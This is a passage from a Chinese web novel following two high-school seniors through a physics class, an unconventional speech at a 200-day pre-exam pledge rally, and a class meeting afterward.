花了十多分钟,绞尽脑汁且小心翼翼做完心理建设,曹武才开始讲课——甚至无意识地收了责备。 哄孩子一样讲题。 只是,讲题过程中,曹武频频侧目最后一排,深深皱着眉。 下课前几分钟,他特地翻了道难度中等偏上的题出来,说道:“这题很经典,认真做,我等会抽人来讲讲。” 听到点人、抽人,饶是再不认真的人,内心都会有问问答案、或者打打草稿翻翻书的冲动——不过冲动毕竟不是行动,施不施行就是另一回事了。 以了解大家做题情况为理由,他溜达下讲台,从前往后看着边上人的草稿纸。粗略点评几句后,他走到最后一排,看了几眼从他走进教室开始就没抬起过头的许桑。 他几次欲言又止,想想便拍了拍旁边的易承,用口型说道:“他怎么了?” 目光从许桑眉眼间撩过,易承在草稿纸上写了两笔,胡诌:“不舒服。” “哦,这样啊。”曹武点点头,刚想走开,忽见身旁这扇大敞开、还往里灌风的后门,迟疑了几秒,上前想把后门掩上。 但经手徐富的门,本身有问题,关不上。 他手摸着门,原地微蹲,摸索明白,小声:“笔给我。” 易承闻声递上笔。 曹武扒着门,又握住笔,腾不出手来按零件,朝他说:“搭把手。” “……”易承看了眼门,上前搭手。 该说不说,年轻有年轻的激情——衣袖卷上去,平日掩藏得很好的手臂肌肉顷刻间暴出形状,曹武用力,找到问题便是一顿操作……愣是给门关严实了。 易承轻挑眉,收回笔时不禁转了圈笔: 好一个物理手段。 抹着额头上的细汗,曹武朝易承扬起骄傲的头颅,见他不说话,便稍显失望地溜达回讲台。 争分夺秒:“来吧,快下课了,找个同学讲讲思路。” “那就请易承同学来分享分享思路。”曹武笑得贼欢。 “……”易承站起身,牵出一抹毫无温度的笑,“抱歉,不会。” 课间时,陈慢把纸片分成几大组从前往后传着,说道:“现在发的,就是下午走方阵时,我们的班级宣言。” 怕有人念字走音,他特意细心地比着纸上文字示范性地念:“星辰大海,理一领航;心怀理想,共创辉煌。” “不是,这怎么听着那么low啊!” “又是星辰大海,还不如长大当宇航员有内涵呢……” “哎呀,嫌弃什么,感觉挺好的,总比那个‘一班一班,非同一般’来得好!” 有几个志在播音主持的同学,清清嗓,格外默契的,哪怕坐在教室的对角线上,都能卡上点,用包装过度抑或是夹过的嗓子念宣言……引起此起彼伏的作呕声,不一会整个班就乱成一锅粥。 喧嚣里,易承接过两张纸片,要递给他同桌时,微顿,稍稍低头,看了眼许桑趴枕时的睡颜。 也得是这张脸,经得起细细打量——换个高三生的脸,痘痘痘印之多,都够你研究半辈子了。 睡了将近两节课,姿势却一点没变过,除了越蹙越紧的眉,连着眉心处团上明显的不爽。 “十多分钟而已。”以为是昨晚打架的后劲问题,易承自言自语地呢喃一句,“累成这样?” 叹完,他抽出纸片,刚想放人课桌左上角的空白处,手腕擦过许桑头发时,手腕却骤然被攥紧。 力气还不小,攥上的刹那力道加重——跟特么捕兽夹一样。 “嘶…”他轻拧眉,连着指尖被迫松力。 好在,纸片还算精准地落到课桌上,没落地上。 “嗯?”都这动静了,人还是没有要醒的意思,易承上半身向他微微倾斜……怕伤着人,他轻轻挣脱,但不成,于是他凑上前些,低声:“做梦了这是?” 没有回答,只有愈加收紧的手指力道。 有两分钟了,易承手麻了。 维持这个姿势也不太好……他索性背过身去,面朝空无人在的墙,背过另一只自由自在的手,摸到张卷子,了无兴味地捞过来欣赏。 实话说,被这么重的力捏着手腕,除了跟那帮糙汉子生死搏斗,他是头几遭遇到。 力道不容忽视,触感也是。 可能梦到些不好的,又或许把他手腕当什么了……指尖冰凉凉地贴紧手腕,贴久了,会夹杂些热意,热意卷席,混着痛觉凌驾其他感觉之上。 “……”易承扣下卷子,吸气呼气来了几套。 眼见距离预备铃打响还有两三分钟,理一班雍容华贵的前门却忽然被人破了! 邓茂光带着三四个人破门而入,脸上明显带着戾气,扫视一圈,气冲冲地直往后排冲。 “我操?我操!” “护驾啊,来人护驾!!” 陈慢腾地从座位上立起来,结果他同桌睡得正死,他看着同桌椅子同后桌桌子间的缝隙: 妈蛋,他又不是纸片,怎么可能从拇指粗的缝隙里横过去…… 便吼道:“邓茂光,下节课老徐的,你别乱来啊!” “我走来的,他妈怎么就乱来了?”邓茂光飞奔到最后一排,中途跟李云平对了两秒的眼睛,擦不出火花,他便继续往后飞。 与最后一排一步之遥时,他“扑通”一声,大腿不幸撞上了许桑的桌角。 正趴着的人眉角轻动,眼睫轻颤。 邓茂光疼得嚎了一声,刚想嗷嗷起个前奏,就听专门报信的小弟哼唧了两声,便长话短说。 见人趴着,他不敢怼人耳边小声说,便提高了些音量,边做好飞奔出去的姿势,边说道: “对不起,我错了,我是孙子你是爷,你是大哥我是屁…不对,你是大哥我是弟!对不起对不起……” “?” 许桑睁眼时,耳边全是嗡嗡的、还越来越远的声音,重复着“对不起”。 缓了两秒,他忍着腰背连同手臂的酸楚,目光从自己手里的腕上抬起,不太清醒地顿了两秒,迟钝向上些许,落在了已经挪到门口、但被行色匆匆赶预备铃的徐富一肚子撞进班内的邓茂光身上。 “唉哟嘿!这是哪个班的崽子?”夹着本数学书,徐富揉着被撞痛的肚子,“咱理一班的课,不开放、不外流的。” 邓茂光寻思着他也不稀罕什么课啊,回道:“老师,我不爱学习,不偷课。” “不爱学习?”徐富被触发什么机关式的,人立刻就炮弹附身了:“距离高考还有200天,今下午举行誓师大会。知道还剩两百天是什么概念吗?你以为…………” 理一班的学生,从没觉得老徐有什么魅力点。 直到今天,还算小有名气、到处称蛮称霸的“小混混”,捂着耳朵蹲在了讲台前。 这一刻,他身上跟有光一样——闪得人痴痴地、口水流下来都忘了擦。 脑袋昏沉,许桑本能想闭眼继续趴下去时,手心底忽地一动。 他抬眸,视线落在一截手腕上,上面泛着长条状的红痕,都蛮深的,腕条偏内还泛着乌青——谁给蹂躏成这样了? 两秒后,他清醒了。 “醒了?”被攥着的力道减弱至零,易承想抽回手都没力气,便出声转移他的注意力。 “嗯。”许桑应道,稍作停滞,他说道:“对不起。” 有力气了……易承抽回手,手指轻车熟路地来回按压,回道:“还好。怎么,昨晚没睡好?” 压根儿就没睡。 许桑默了一声,点头:“嗯。” 难怪少见地连睡那么久。 “嗯。”易承应声,痛意下沉后,没忍住倾身问道:“同桌,梦什么了,这么大劲儿?” 许桑淡淡看他一眼,又下移看向他手腕,生硬地别开话题:“给你按一下?” 40-50 第41章 第41章 【能不配位,正得应得。】…… “啊?” 易承看向他的目之所及, 才反应过来是给自己按一下手腕,他轻晃头,“不用。” 见许桑一副犹有担忧的表情, 他出声调侃:“还没昨天一招来得重。” “……”许桑闻声轻顿,片刻后松了口气,“嗯。” 抬头见讲台上喋喋不休的老徐,以及蹲地上都快打滚成被念咒的孙猴子的邓茂光时, 许桑问道:“什么课?” 手指在筋上流转,易承面无表情地胡说八道:“思想道德课。” 随耳听了几句。 “两百天的关头, 你跟我说不爱学习, 像什么话!我不扯什么读书有没有用,你跟我说说,不读书,你干什么?干什么不重要,关键是你干了吗?既然是学生身份,那就得学习!在其位, 谋其职………” 按性质来说,思想道德课,倒也差不离。 许桑轻笑,余光瞥见课桌左上角的纸片,拿起来看了一眼,扫完文字,他没什么兴趣地放下纸片,捏过笔, 开始做题。 等邓茂光几乎是四肢并用“爬”出理一班教室时,徐富拧开杯子,狂喝了几口八宝养生滋补花果茶, 才往讲台中央走,真诚发问:“那个邓,跑来干什么?” “来道歉的好像!” “我怎么听着是来当孙子的?还要当个屁来着?” “不清楚,来念咒的吧,大嘴叭叭的,叽里咕噜不知道说什么。” 徐富听了两耳朵,探身问道:“谁这么能耐,招这么个小子来班上道歉?道歉完没,没道歉我给人抓回来!” 他问完,大半个班齐刷刷地向后排望去,不知情但社恐的,看着前桌转过来、躲瘟疫一样也跟着转头回去。 许桑正做着题,思绪搅在动点F的轨迹方程里,正凭空颅内演算,校服袖子被轻轻拉了一下。 他微顿,抬头就见几十来双眼直愣愣地看着他所在的方向:“……” 他下意识看向易承,眼里晃过些许疑惑。 “易承啊?”徐富刚还欢天喜地的,知道故事主角是易承,只觉习以为常,一点劲儿都没了……脸色立马切换反面图层,那速度,比往下滑某抖视频的食指还利索,“那没事了。” “……”天降一锅。 易承被气笑了,等八卦心已经死翘翘的老徐收回视线,才慢悠悠地看向许桑:“看我干嘛?” “不知道。”许桑如实回答。 “啧。”易承才想起,刚那王八蛋道歉时,许桑还迷瞪着,便解释道:“刚那人找你道歉。” 那人…… 许桑想了想,对应起刚捂头打滚的邓茂光,又联系到刚回头看猴儿似的一大帮视线,轻轻皱眉:“跟我有关系?” 刚想骂他一句睡觉脑子睡没了,见他皱起的眉,易承才明白过来,收了脏话。 确实没关系。 道个谦,连当事人都不知情,算哪门子道歉——盗墓都没这么霸蛮,起码先问个老祖宗安吧。 想及此,他轻点头,认可:“没关系。” 下午两点,两百天誓师大会正式开始。 早早的,节奏性极强的鼓点纯音乐,敲打着耳膜……光站操场外候场,都感觉灵魂在经受什么酷刑。 学校人不算多,操场也不算大——但为了气势,学校还是安排了入场仪式。 即班级领队举着班牌,随着班级介绍,进场,绕操场走一周,而后列入对应方阵块里。 “迎面向我们走来的是理科一班的同学们。‘凭栏俟闻凯歌声,卷旗长缨再出征。’他们,心怀理想,不啻微茫,自当昂扬!时间的代价得偿,他们终将登群山之高,渺群峰之渺。” “不是,这谁主持的啊,也太他妈有激情了,我鸡皮疙瘩一阵起完又起一阵!” “哈哈……这把咱班说得也太牛逼了吧,我尴尬羞耻症都犯了。” “我操啊,眼泪都给我说出来了,尤其那头还有两个打鼓的,敲得我整个人都在震,心也是!” …… “都别聊了!”领队的陈慢摆着笑脸,往后说道:“该他妈喊口号了!” “口号是什么?” “今上午发的宣言。” “宣言是什么?” 还没等这同学问清楚,由一及十,层叠推进,稀拉如萤烛微光的声响,在间距极小的传递里,来源不同但方向一致,齐齐流向一处,而后火星子擦出宇宙大爆炸般的绚烂火花—— “星辰大海,理一领航;心怀理想,共创辉煌!” 背景音乐太大了……用力喊出声的那刻,整个胸腔都在颤动。 等走到方阵内,大半部分的人还没缓过劲来,站在原地,身体仍旧在打抖。 “啊啊啊!我突然好想学习了,就感觉燃起来了!” “我也是,有种你现在扔张卷子过来,我能一个小时突突完那种!” “之前一直听老徐讲,从来没放在心上……但刚刚那一刻,虽然口号很low,但,‘心怀理想,共创辉煌’出来的那一刻,我感觉灵魂都在颤抖,整个人焕然一新!” “他妈怎么突然感觉眼睛酸酸的,好想哭,就怎么说呢,还有200天,我的青春就没了……” 吕丁从倒数第三排光明正大地溜到倒二排,和一个腼腆羞涩的男同学换了位置后,流着两串不要钱的眼泪,哭:“易哥,许哥,你们不感动吗?” 许桑从没做完那道题的思路里抽出些注意力:“还好。” “敢动啊。”易承想也没想,就朝许桑这边走了一步,补充说,“来去自如。” “……”吕丁挥挥手,扑灰一样,“这破烂的谐音梗。” 等跟人有一搭没一搭闲聊完,易承向台上的大红布看了一眼——“两百天誓师大会:全力以赴,无悔青春。” 静静看了很久,他别开视线,低眼看着脚下的草坪: 假得要死。 方才,耳边彻亮亮的,全是口号声,鼓点连着耳膜穿透进身体,自主能力本就极差的心跳,更是无端被扰了节奏——被谁追着赶着一样疯狂跳动。 “凭栏俟闻凯歌声,卷旗长缨再出征。” 可他凯旋过吗?何来再出征… 等方队调整完毕,“誓师大会”才算正式开始了——升国旗、校长致辞、激情表演。 第三个表演开始时,许桑轻点红色壳子,里面套着他的发言稿。 “要走了?”易承看了眼红本上的字眼,轻声问。 许桑“嗯”了一声:“下个环节。” 易承轻笑,目光从镀金般的“优秀学生代表”六个字上缓缓移开,再度看向鲜红的台上时,只觉朦朦胧胧一层,晃了好久,才重新得见那上面八个字。 指尖轻扯袖口,他用了些力,捻得指头泛红。 许桑从队伍里出去时,走出十几步,回头看了眼易承。 开始走方队时,就觉得人情绪不对。他轻顿,隔着不算远的距离,看着他微垂的头、以及因用力而牵出褶皱的袖口。 他抿唇,看了很久后,转身。 在后台候场时,许桑听老师的话,把校服拉链拉到胸口上方,还顺便理了下睡一上午、稍显凌乱的头发。 “非常的帅气!简直是咱学校的门面啊!”老师不吝夸辞。 许桑轻笑。 激情表演是十几首歌的串烧,混着各种各样的励志舞曲。 至于为何是十几首歌,耗时这么长——那得问问到高三后,闲得四肢百骸都发慌的艺术老师了。 甚至连五音不全的体育老师,都能挤出时间来推荐一首球界“国际战歌”。 大概还有五六分钟,许桑本想熟悉熟悉随手打印的稿词,却不曾想在这遇到了白晓莉。 一师一生对站着,短暂且无厘头的沉默后,白晓莉开口:“优秀学生代表?” 依稀记得还有个环节,许桑问道:“优秀老师代表?” “……”旁人怎么听怎么像讥讽。 “对对对,多巧啊。”白晓莉抬头挺胸,“许同学,我说不定马上就能升一级了,听说等会就能有消息,到时候上面的公示下来,你可得给老师送送祝福啊!” “……”许桑往后退了一步。 “不说话算什么啊,已经高兴到失语了吗?”白晓莉呵呵笑了几声,下一秒无缝接电话时,都是扬着16颗牙齿的,“喂,哪位?” 许桑提步,往旁边走,正倚上墙,面前刚还有几分优雅气质在的女人,中风一样原地边抽搐边哭,两手搓着头发,半个身子都跪到地上。 “……”得亏身边人多,不然被讹钱都扯不清楚。 听到动静的几个老师连忙上去扶人,被一把旋开后,就听白晓莉瘆人地笑着:“凭什么啊?老娘在这学校工作多少年了都,没有功劳也有苦劳吧?凭什么评个级还搞学历证明,他妈我都几十岁的人了,哪记得上的哪所大学啊……” 上台前,许桑隐约听到有领导说:“白老师都这样了,应该代表不了了,快去找个口才不错、还有激情的老师顶上!” 推开帘子前,他回头看了眼。 上下一套白色西装,本该是有几分风韵的人,此刻却染了满身泥渍。 想起之前在办公室听老徐说的关于白晓莉那些话,许桑捏着发言稿的手轻轻用力。 能不配位,正得应得。 “大会第四项,优秀学生代表发言……” 许桑微微低身,接过话筒后,将稿本摊开立在花束之后。 他身高腿长,校服并不张扬的色调将人衬得很清爽,扬着少年人的气质。上场片刻,便引起一阵语气歪七扭八的拟声词。 许桑抬头,目光扫过台下红白交杂的身影,开口:“大家好,我是来自理一班的许桑。” 还挺巧,原先那个学校,他也来自理一班。 他向来不加敬辞——以至于每回开头的说辞完全相同,从不需要“尊敬”“敬爱”来回切换。 望着台下同样陌生的人群,意外雷动的掌声里,他下意识地开口: “检讨书——” 第42章 第42章 【“垃圾桶里,依旧能盛开玫…… 先前, 考虑到发言人代表的是高三群体——一个压力山大、激情不够只能话筒来凑的群体,负责的老师还专门把话筒音量调到了最大。 蚊子腿蹬过话筒都能叽歪出声,更甭提这声已经在操场上回响成“二重奏”效果的发言了。 “嗯?啊?哈?” 浮躁得跟有多动症一样的人群, 闻声耳朵就竖起来了,脑袋左右偏倒,上下嘴皮一阵噼里啪啦: “叽叽咕咕叽里咕噜……” 与此同时,候场的老师不禁嘀咕一句:“不是优秀学生代表吗?” 年级主任也跟着皱眉, 手肘哐当到徐富身上:“老徐,你还真安排检讨啊?” “……”徐富冒了两滴冷汗。 他使劲瞪了几眼台上的许桑后, 念着人数学满分过、还是他的心头宝……只得强忍着难受疯狂救场:“先暖个场嘛, 你看下面交头接耳的,这气氛不就热闹了吗?” “也是,”想想,年级主任深表认同,转过头去看那个老师:“你也是老了跟不上时代,同学暖场呢。” 老师“哦”了一声:“……还能这么暖呢。” 回声传到耳底时, 许桑回过神,垂眸看了眼摊开的文本内容。 上面比腿毛长势还潦草的字迹里,密匝匝地尽是“行为不端”“不守纪律”一类的字眼……中间部分,还是他惯常使用的策略: 打六七排省略号——业务太熟练,临场编,就跟张嘴吃饭一样轻松。 “……”许桑指尖轻点话筒,结果被带出的一阵杂音刺到了耳。 他轻拧眉,还算冷静地扫过台下一众, 平淡:“抱歉。” 眼下,“检讨书”上的文字跟不可回收垃圾一样,摆在那里一大堆, 却丝毫没有利用价值。 想到刚班级走方阵时,激昂而有劲的励志宣言及入场辞,他本想杂着揉着便说了。 可目光擦过理一班班牌、望到后排因身高而格外出众的身影时,他轻顿,眼里闪过些情绪,改了口。 “我收回刚才的道歉。”许桑伸手合上红本,流连了两秒演讲架上的假花,平静发言,“这是一篇检讨。” “嘿哟,还收回道歉,不还是篇检讨吗?!”听到他的话,年级主任原地一蹦,差点火箭一样冲上台捂住他的嘴,但考虑到远近问题,他收回腿,转头责问徐富:“说好的暖场呢?” “谁跟你说好的……”小声抱怨完,徐富冷汗涔涔,“我这也没料到啊——要不,我去给他拉下来?” “去个奶奶腿啊!”年级主任忧心忡忡,“直播呢这,拉下来名声还要不要了!” “不拉下来就有名声了?”徐富疑惑。 “说你蠢呢。”年级主任抿唇,“再去你班上拉个备胎过来,等会搞正反两面。一个优秀学生,一个学生代表,也说得通。” “……”徐富大为震撼地竖了个大拇指。 身旁隔幕帘后,站着一堆三个环节后准备上台宣誓的老师群。 听到前面跟要为非作歹似的发言,隔着细薄帘子,视线长针一样扎在许桑背上。 两秒空当想说辞时,许桑微不可察地皱眉: 这如芒视线,跟“背刺”有什么区别? 指尖缓缓将音量调小一些,他声色淡然:“有人说,我是个问题学生,人跟我呆久了会得病。没想到,小学计算机题,还真有人选择D项:微机病毒能生物传染。” “这观念就像,有人觉得这座学校校风赛屁、校规扯淡,而认为,这会传染到我。” 这话铺开时,台下的人止不住地狂笑。 当然,也有忌惮老师、硬憋着保持微妙的严肃的。 “……”好不容易出关坐镇一次活动的校长,阴恻恻地偏过头,看向年级主任。 年级主任苦涩地挤出一抹微笑,无言以对,只能偷人话术、借花献佛,“要不,我去给他拉下来?” “……他妈直播呢!”校长恨不能一脚给人踹飞出去。 你看。 年级主任侧过头去看徐富,一副“我有先见之明”的模样。 徐富扯了扯嘴角,偷摸:“呵。” 有意收了脏话,许桑继续:“我知道这个类比并不成立,但,如果主观相信呢?那只会是:垃圾桶里,依旧能盛开玫瑰。” 说及此,人群中,有人抬头,与之视线相交的那刻,许桑语气硬了些: “在物理领域,存在前提,使得时间的概念不复存在,由此,两百天,是为枷锁;两百天并不能创造奇迹,但你可以。抛却时间,身无所缚,振翅当然。” “我的检讨完毕。”最终放下话筒前,他补充一句,“谢谢。” 反手收了话筒,他侧身向台后走去,步下生风。 气氛一度凝了很久,大半部分的人甚至都没反应过来许桑讲了什么,便听到一句谢幕式的“谢谢”:? 掌声滞后性地响起,从文科班那处起头,再缓缓延伸至前排的理科班,而后串成线、连成面地,在整个操场轰然绽开。 “就听到了校风赛屁、校规扯淡,这……这合理吗?” “我靠,他的语气,是不是在讽刺什么啊?尼玛,我小学还真他妈蠢到以为计算机病毒能传染给人……” “所以,检讨的意思,检查完自己发现没错,就开始讨伐别人?” “不是,你们理科生的脑子能再死一点吗?那句垃圾桶和玫瑰,真没人觉得浪漫吗?” “文科生装屁啊装,理科生的浪漫在后面呢。那句时间的概念不复存在,量子力学帅得批爆好吗!” “所以,短短几句话,就我一句话没听懂吗?” “诶?我颜控,光盯着他脸看了,刚刚他说‘但你可以’的时候,好像在看着谁。那个眼神,苏的嘞!我恨不能一步飞天去截胡了他的眼神!” “泪目了……两百天是枷锁,虽然听着像砸了今天的场子,但真的,让我相信,我他妈一定能创造奇迹!” 听到结尾,校长眼前一亮,“短是短了点,但词儿听着怪新鲜呐,谁写的?” 但凡有个谁写,能出这状况? “人自己呗。”徐富白了他一眼后,狂松一口气,小声叹道:“怎么跟易小子一样,尽让人提心吊胆的……老子差点心都不跳了。” 等人从台前回来时,徐富先把等待多时的李云平温声招呼回去,又飞快地半路劫了许桑的道,背过手厉声感叹:“许桑,你胆子大啊!” “还好。”许桑抽过一瓶不要钱的矿泉水,拧开喝了一口润喉,解释:“稿子贴错了。” “……”徐富哽住,“以前还真念检讨的?” 接下来没他的事了,许桑径直回班前,淡淡回了他一句,“现在也是。” 台上,主持人愣了几秒才发表了感谢言论:“感谢许桑同学的检讨……的发言。九万里风鹏正举,朝夕间星河流转,而我们势将奋楫登鳌头!接下来,进行大会第四项,老师代表发言……” “笑死,都不敢加优秀两个字了吗?”吕丁踮起脚尖往台上看着,眼角余光忽然叠了一层阴影,他连忙转身,“许哥!” 他这豪爽生脆的一嗓子,吼的前排尽数往后甩来视线,连同隔壁方阵都有人扔了眼珠子过来撂着。 “……”许桑淡淡瞥了眼吕丁。 “不好意思,太激动了!”吕丁双手合十往下低头,招呼走周遭视线,连忙道:“许哥,刚你说念检讨时,我靠,你是不知道,整个班都在倒吸凉气,也太勇了吧!不过后面全都目瞪口呆了,真敢骂啊你…还有…还有…” 话也是真的多啊你。 没看到身边的人……许桑放任他的话左耳进右耳出,等他话性渐颓,问道:“易承呢?” “啊?”吕丁思维跳跃能力跟耄耋老头的行动能力一样,磨蹭了好久才到点上,回道:“易哥……刚你讲完就走了,可能,去厕所了?” “好。”许桑应道。 站了两秒,他转身离开了操场。 台上,曹武一身闲轻地从后蹦上了台,rapper似的一把斜拽过话筒,麻溜地挽起袖子,声音洪亮而激情:“同学们大家好!我是曹武,是理一和理三班的物理老师,今年是我入职第三年……” 操场小有小的好处,台上话筒传出的声音,激荡到操场四角时,还能飞速弹回来——曹武又不似许桑有意调低了声音,顷刻间,耳朵里,玩蹦球一样,深浅不一的声音来来回回敲打鼓膜。 有种你要是偏过头不听、声量大得能一巴掌给你脑袋掴正的力量感! 磁吸一样吞噬走人群杂乱而分散的视线,曹武激情四射地从过往经历讲到未来展望。 每一小节发言后还都有一段升华性结论,说真的,正得发邪。 “海海人生,山山而川。在接下来的学习当中,我希望你们勇于开拓、顽强拼搏,咬定青山不放松;齐心协力、所向披靡,利刃出鞘剑长空。以担当重任的豪情,以战胜自我的决心,以坚毅不倒的意志,全力而行,去奔赴那六月的战场!” “……我的发言到此结束,谢谢大家。” 绕出操场的那刻,震耳欲聋的杂音淡了不少。 许桑没走进教学楼去钻厕所,三分猜测七分肯定地直接走到了后门口,两步之遥时,他半仰头。 还真坐这的…… 墙上,易承吊儿郎当坐着,同那晚无二,一腿半曲,一腿垂着,口中叼衔着根青色长尾草,神色不明地望着墙外光景。 乍一眼,隐隐裹着阴郁。 活动不知道进行到哪一项了,只知道此时此刻,整个操场的人都在嘶吼,估摸着是“学生宣誓”环节: “……两百天,我们将卧薪尝胆,意志如钢;两百天,我们将披荆斩棘,成就梦想;两百天,我们将心无旁骛,谱写辉煌……” 背着台子,声音实际被减弱不少,但吼的人太过激情昂扬,以至于誓词字字清晰入耳。 耳畔的嘈杂并不能完全掩盖警觉的本能,察觉到有视线,易承掩了眸底的情绪,偏头,垂眸。 看清人时,他紧绷的肩颈松缓下来,“许桑?” 许桑看了眼他,轻抬下巴:“让个位。” “嗯?”叼着的草掉了,易承轻顿,反应过来时,许桑已经两步攀上了墙,坐在了他对面。 “……”他收腿侧身,还算规矩地跟人并排坐着。 “怎么突然来这?”易承低眼看着脚下。 沿墙角地砖缝,交错冒头几窝野草,颜色枯黄,跟这个萧瑟的季节很搭。 “找你。”许桑直白。 易承看向他,些许诧异:“找我?” “嗯。”许桑视线下移,精准落到他颈侧,那里残留着一道伤痕,不过已经结了层薄痂,在干净的脖颈间格外突兀,像扎眼的刺。 不禁想起那夜他说“挺烦的”。 视线在伤疤处停留几秒后,许桑不太自然地说道:“话是对你说的。” 台上,若非开口前,意外跟人流里的他对视了一眼,检讨可能当真是检讨了。 易承微怔:“嗯?” 他忽的明白了那句:“两百天并不能创造奇迹,但你可以”中的“你”。 许桑没回答他的疑惑,只平静地看着他。 半晌后,易承轻点头,“我知道了。” “嗯。”许桑别开视线,看向唯一得见的一小角人群。 誓师大会,活动在微风拂面里分项进行着。连着环节,发自内心、躁动的“声嘶力竭”,将空气都挤得发紧。 “大会最后一项,师生共同放飞气球。十载寒窗,百炼成钢,卧俯书山,甘洒汗水,放飞心中梦想;雪映萤囊,刺股悬梁,泛游学海,竞逐群雄,一朝题名金榜。此刻,请吹鼓手中的气球,携着内心所梦,放飞它……” 人声沉落,鼓点裹挟着节奏明快的励志音乐强势扩音。 吵不死人誓不罢休那种。 “…… 就让天空为你画上一道道彩虹, 化作大雨过后我们真挚的笑容; 就让天空为你唱首最炙热的歌, 乌云闪电也会跟着你轻轻的和。 ……” 字点节奏间,猛烈如暴雨雨点的乐器落点切合咬词喷张,在拥挤的人影间,点对点地落下,炸鞭炮一样推着昏昏欲睡的人加速运动。 “走?”易承掩去心底的郁气,手掌撑住墙面,用力,利落地翻身下墙,仰头看人时,伸手打趣道:“要我接吗?” “……” 连角度都没找,许桑侧身轻快落地,拍开他手的那刻,手腕却被猛地拽住。 握紧的瞬间,像是怕伤了人一样,力道骤缩。 马后炮都没这么延迟……许桑轻顿,想晃开他的手:“我不需要。” “嗯。”易承笑着,“我知道。” 话是这么说,但他始终没松开手。 回班途中,许桑偶尔会低眸看一眼他的手,看着搭在自己腕上的清瘦指节,最后还是默许地移开了视线。 “许哥。”吕丁抓着一把五颜六色的囊气球,吹爆了两个,这会刚摧残完第三个,见到熟悉的身影,激动:“易哥,你们去哪了?” “厕所。”易承缓缓松开人的手腕,回答。 “哦,快来,吹气球!”吕丁摊开手,“我吹一个爆一个,怕没得吹了,就先拿了一大把。” “我也抓了一大把,管够!”赵鸿途探出个脑袋。 “……” 易承随手拿了个白色气球,许桑也跟着拿了个同色系的。 “快点,我是真服气啊。”陈慢走到后面,看着炸开的残屑,瞪着吕丁,“拿来我给你吹,还有两分钟该一起放飞了!” 有秋秋这么个小学生妹妹,易承对于吹气球这类事情简直不要太熟练,蓄气、吹鼓、打结,全程下来不过十几秒,见身边的人动作犹豫,他笑道:“帮你?” “嗯。”大概嫌幼稚,许桑把气球丢他手心里。 “我欲乘风破万里,让我们一起放飞气球;大风起兮云飞扬,让我们一起放飞梦想!” 主持人的指令落下,成百上千只五彩气球,徐疾不一地向上腾空,在湛蓝无云、敞亮澄明的上空,向四周膨胀性地飘开——宛若一场逆向的彩雨。 同此时刻,台上,校演讲队列队齐声: “三年寒窗、志存远方;誓存鸿鹄志、劈波且斩浪! 心存希冀,追光而遇;六月试锋芒、扬眉传佳音! ……让我们:把最美的风景带到山巅,体验登天的感觉;把最灿烂的笑容留到六月,创造六月的辉煌!争分夺秒、精益求精;披荆斩棘、沐光而行,在流金似火的六月,蟾宫折桂!” 彩色光片腾空炸开,音乐掺着光影激起一阵声色靡乱。 眼底倒映进细碎的光斑,许桑偏头看向身边的人,轻声:“易承。” “嗯?”易承仰头望着飘彩。 他重复:“易成。” 第43章 第43章 【少年应有鸿鹄志,当骑骏马…… 下午六点十分, 激情过头的两百日誓师大会宣告结束,各班班长,领到本班定制款“倒计时”后, 带着队伍洋洋洒洒回了班。 准备开班会。 “怎么样,没骗你们吧?”把前门带上,徐富在讲台的下部镂空里偷偷翘起二郎腿,苦口婆心, “看看墙上挂的倒计时,真真切切的, 距离高考还有200天!” 久违的, 教室里安静得跟死了一样——长了眼睛的,都定定望着墙中央的彩版倒计时日历。 亮艳的着色中,勾笔寥寥的少年向远道奔跑,运动白衫上印着“加油”二字,而鲜红的头巾上,毛笔字勾出“奋斗”, “200日”之下,则是隶属当天的励志鼓励语——尽管繁荣,莫问前程。 易承拿着笔,细长的指尖灵活勾转,带出重重虚影。 他从日历上挪开目光,余光见他同桌兴致缺缺地在埋头算题,心头滚过一丝异样。 人在光怪陆离里,是会被周遭氛围带着走的。 就像方才回教室的途中, 稀里哗啦全是淌一脸眼泪鼻涕的。 那几个小时,所有的嘲讽敛声。真的也好,演的也罢, 有限视角里的全世界,都在向他们报以相信——柔和着目光期许他们在六月凯旋。 美好得像梦境。 但,无论当时还是现在,许桑都给人一种始终在梦境之外的脱离感。 指不定小时候,别人听童话故事咧嘴笑,他听,皱眉哇哇哭吧。 笔尖顶到手指内侧,划出一道黑痕……细微的刺痛直抵神经,易承刹那间回神。 大概煽了很久的情,老徐已是泪人一个,一把鼻涕一把泪地哽咽:“同学们啊,我带了不知道多少届,每年看着多少人欢喜又多少人遗憾……” 被控制住泪腺了一样,放眼望去,要么红了眼圈,要么泪水成线。 “……”易承往后靠到椅背,仰头看着天花板。 中考的时候,貌似听的也是这套说辞。 每年每届,听到的祝福语也都仅有只字变动……可,即便如此,在本该有所触动的年纪,他到底又是什么时候对这些话术彻底脱敏的? 好像也不是,下午,台上,许桑冷冽的声音传达入耳时,他灵魂都在战栗。 就跟那次,本来对邓茂光的行径早已无感、却因许桑的后退而挑起怒火一样……许桑的出现,打破了原本无波无澜的湖面。 正跑神,脑袋里忽地闪过空灵一声——“易承啊”,以为是太自恋产生了幻觉,结果隔了一秒钟又是一声“易承。” 然后是,“易承!!” “……”跟老徐对上眼的那一刻,易承自觉站了起来。 “睁着眼睛做梦呢?喊半天都听不到。”徐富已经站到了讲台下面,背着双手,老头式踱步。 “没做梦。”易承没轻没重地回应。 徐富喟叹一声,“知道我刚在讲什么吗?才强调完,要好好学习……上来!” 易承轻拧眉,抱着又当猴的心态上去。 “我送大家一句话,虽然是网上抄的,但我觉得很不错,就借此鼓励你们。”徐富把手心里的长截粉笔和白纸递给易承,说道:“你字大气,写黑板上去!” “……”敢情是免费可支配劳动力。 易承接过纸张,顺着折痕叠开,看了眼里面的字。 少年应有鸿鹄志,当骑骏马踏平川。 轻顿,他捻断粉笔头端,抬手,略显宽大的衣袖向下滑落些许,露出截线条分明的腕,腕骨凸明的那刻,细盈盈的粉灰迭出,灰白色粉笔字显出锋芒。 徐富站在旁边,看到十四个字接连成形,眼里泛起泪花。 他望着易承的背影,喉间发涩: 这话,他是真他妈想单独送给易小子! “行了。”易承迅速写完,转身往方盒里扔粉笔时,抬眸。 不知何时,许桑已经落了笔,向后微倚,眼神轻佻地望着黑板上的字,而此刻,顺时针移动,目光停留在易承身上。 匆匆擦了一眼,易承没收住力,粉笔断成两截垂直掉进盒中。 “这么好看的字,来,班长起个头,我们一起读出来!”徐富两步蹬上讲台,跟易承擦身而过时,轻轻拍了两下他的肩膀。 易承抿唇,在几十号人的齐声朗诵中,回头看了眼自由如风的两列粉笔字,眼睫轻颤- 